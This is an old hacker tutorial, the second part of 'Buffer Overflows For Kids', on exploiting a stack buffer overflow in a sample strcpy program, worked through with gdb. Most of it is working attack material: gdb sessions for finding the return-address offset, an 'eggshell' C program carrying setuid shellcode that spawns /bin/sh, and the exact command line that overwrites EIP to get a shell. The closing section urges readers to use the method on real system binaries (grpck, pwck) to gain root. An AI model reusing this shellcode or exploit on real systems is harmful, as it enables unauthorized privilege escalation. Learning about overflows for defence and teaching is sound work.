____ __ __ ___ ____ | __ ) _ _ / _|/ _| ___ _ __ / _ \__ _____ _ __ / _| | _____ _____ | _ \| | | | |_| |_ / _ \ '__| | | | \ \ / / _ \ '__| |_| |/ _ \ \ /\ / / __| | |_) | |_| | _| _| __/ | | |_| |\ V / __/ | | _| | (_) \ V V /\__ \ |____/ \__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/ |___/ _____ _ ___ _ | ___|__ _ __ | |/ (_) __| |___ | |_ / _ \| '__| | ' /| |/ _` / __| | _| (_) | | | . \| | (_| \__ \ |_| \___/|_| |_|\_\_|\__,_|___/ PART II by bob [www.dtors.net] [[--Introduction--]] This is part two, the follow on from bofs4kids. If you not have read the first one i suggest you do so. The first one gives you a good understanding of whats what. Now in this tutorial im going to attempt to give you the knowledge to be able to exploit a program, without coding in C. But we will need to use gdb quite a bit, so any prior knowledge would be helpful but not necessary. As usual ill do the jargon buster first so that we can get the confusing words or abbrieviations out of the way. [[--Jargon Buster--]] esp - is a register known as the extended stack pointer ebp - is a register known as the extended base pointer eip - is a register known as the extended instruction pointer gdb - i hope you know what this is, but for those of you that dont, gdb is a program used to dissasemble other programs. [[--Where to begin--]] Well as we arent going to code anything in this tutorial, and we are still going to learn how to exploit something without coding, i think i had better explain how we are going to do this. Lets look at my vulnerable program below. ---------------------------------cut-here-------------------------- // bof.c by bob #include int main(int argc, char * argv[]) { char buf[256]; if(argc == 1) { printf("Usage: %s input\n", argv[0]); exit(0); } strcpy(buf,argv[1]); printf("%s", buf); } ---------------------------------cut-here-------------------------- Just incase you dont understand that, ill take you through each line. int main(int argc, char * argv[]) { -- This is our main function...we declare two variables also. char buf[256]; -- We now declare a variable called buf that is defined to hold 256 chars. if(argc == 1) { -- We are saying here if we dont have any user defined input then.. printf("Usage: %s input\n", argv[0]); -- ..Print usage. exit(0); -- Exit our main function. strcpy(buf,argv[1]); -- Otherwise copy what the user types into buf. printf("%s", buf); -- Print the contents of buf. Can you see why this program is vulnerable? I hope you can...if not here is why. We have a variable called buf that can only hold 256 chars.....and we copy the user input into buf with strcpy(). Soooo if the user was to send over 256 chars it would overflow. Not to hard to follow... [[--Overflowing--]] This bit is very easy also. Lets see what happens when we run our program with no user input. [bob@dtors bob]$ ./bof Usage: ./bof input [bob@dtors bob]$ Ok so lets give it something to play with. [bob@dtors bob]$ ./bof bob bob [bob@dtors bob]$ There we can see that it has taken our input, copied it into buf, and then printed it to our screen. So lets send more than its designed to hold. [Overflow it] [bob@dtors bob]$ ./bof `perl -e 'print "A" x 272'` Segmentation fault (core dumped) [bob@dtors bob]$ Ohhh it didnt like that! Lets examine the core. [bob@dtors bob]$ gdb -c core ./bof Core was generated by ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info reg eax 0xa 10 ecx 0x40014000 1073823744 edx 0x400fe660 1074783840 ebx 0x400ffed4 1074790100 esp 0xbffff910 0xbffff910 ebp 0x41414141 0x41414141 esi 0x4000acb0 1073786032 edi 0xbffff954 -1073743532 eip 0x4000ade1 10737435320 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 As you see here we have overwritten our ebp with 0x41414141. But what we wanted to do was overwrite the eip. The ebp and eip are 4 bytes each, and as we have only overwritten the ebp. It would be sensible to say that if we add 4 more bytes we will overwrite the eip. This is how the memory layout looks like: __|__ | | | EBP | - 4 byte address |_____| __|__ | | | EIP | - next 4 byte address |_____| Lets see: [bob@dtors bob]$ ./bof `perl -e 'print "A" x 264'` Segmentation fault (core dumped) [bob@dtors bob]$ gdb -c core ./bof Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info reg eax 0xa 10 ecx 0x40014000 1073823744 edx 0x400fe660 1074783840 ebx 0x400ffed4 1074790100 esp 0xbffff910 0xbffff910 ebp 0x41414141 0x41414141 esi 0x4000acb0 1073786032 edi 0xbffff954 -1073743532 eip 0x41414141 0x41414141 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 There we can see the eip is now overwritten also! [[--Changing the RET address--]] Now that we no how much to overflow bof.c by to overwrite the eip, we can go onto making it execute a shell. In order to do this we will use an eggshell. ---------------------------------cut-here-------------------------- /* bish.c * * bob [www.dtors.net] * * Generic eggshell, was tested and * works on: * * FreeBSD 4.6-PRERELEASE * FreeBSD 4.5-RELEASE * OpenBSD 3.0 * NetBSD 1.5.2 * Linux 2.0.36 * Linux 2.2.12-20 * Linux 2.2.16-22 * Linux 2.4.7-xfs * * Shellcode by zillion@safemode.org, added setuid(). */ #include char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */ "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd" "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80" "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0" "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50" "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89" "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { char bish[512]; puts("Bish loaded into enviroment"); puts(" Bish.c by bob@dtors.net"); memset(bish,0x90,512); memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode)); memcpy(bish,"BISH=",5); putenv(bish); execl("/bin/bash","bash",'\0'); return(0); } ---------------------------------cut-here-------------------------- [bob@dtors bob]$ cc bish.c -o bish ; ./bish [bob@dtors bob]$ Now we have loaded BISH into our environment, so all we need to do now is overflow our program again but this time instead of overwriting the eip with 0x41414141, we will overwrite it an address that points to our shellcode. First off we need to find the address of our shellcode. So lets overflow the program again, and examine the core. [bob@dtors bob]$ ./bof `perl -e 'print "A" x 264'` Segmentation fault (core dumped) [bob@dtors bob]$ gdb -c core ./bof Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) x/s $esp 0xbffff7b0: "ë\222\004@\001" (gdb) 0xbffff7b6: "" Now keep pressing Enter until you see your SHELLCODE env and NOPS. 0xbffffcbe: "MAIL=/var/spool/mail/bob" (gdb) 0xbffffcdc: "BISH=", '\220' ... (gdb) 0xbffffdc2: '\220' ... (gdb) x/x 0xbffffdc2 0xbffffdc2: 0x90909090 (gdb)q [bob@dtors bob]$ Our NOPS are here: 0xbffffdc2: '\220' ... So pointing to this address is fine, because NOPS are not proccessed, so it will go throughall the NOPS until it hits our shellcode/BISH environment. Now we have to convert this address to little endian, to do this we write it backwards. 0xbffffdc2 - 0x = bffffdc2 - the 0x isnt needed. bffffdc2 backwards = c2fdffbf Then we add \x to each byte. c2 fd ff bf = \xc2\xfd\xff\xbf There we have our address that we are going to overwrite the EIP with, to point to our shellcode. So lets give it a shot: [bob@dtors bob]$ ./bof `perl -e 'print "A" x 260'``printf "\xc2\xfd\xff\xbf"` sh-2.05$ Wollah! We pointed it to our shellcode and it worked! We didnt get a root shell because bof was not setuid, or owned by root. Also notice that we only flooded with 260 A's, thats because our address was 4 bytes, which makes up for the 4 bytes we took off. [[--Conclusion--] Well this method i used here is by no means a NEW way to do it, its just an easier way. If you want you can try this method on some REAL vulnerable programs such as: /usr/sbin/grpck /usr/sbin/pwck They can be exploited in the exact way i have shown you here. IF you find that this way for some reason is not working for you, [i had this problem a few days back when i reinstalled my OS] then upgrade bash to 2.05. You can get it at ftp.gnu.org/gnu/bash Regards bob [bob@dtors.net] [[--Links--]] http://www.dtors.net http://community.core-sdi.com/~gera/InsecureProgramming/ http://www.netric.org http://hack.datafort.net http://www.11a.nu/stack/stack-smash.txt http://www.11a.nu/stack/heaptut.txt http://www.11a.nu/stack/exploit.txt http://www.11a.nu/stack/adv.overflow.paper.txt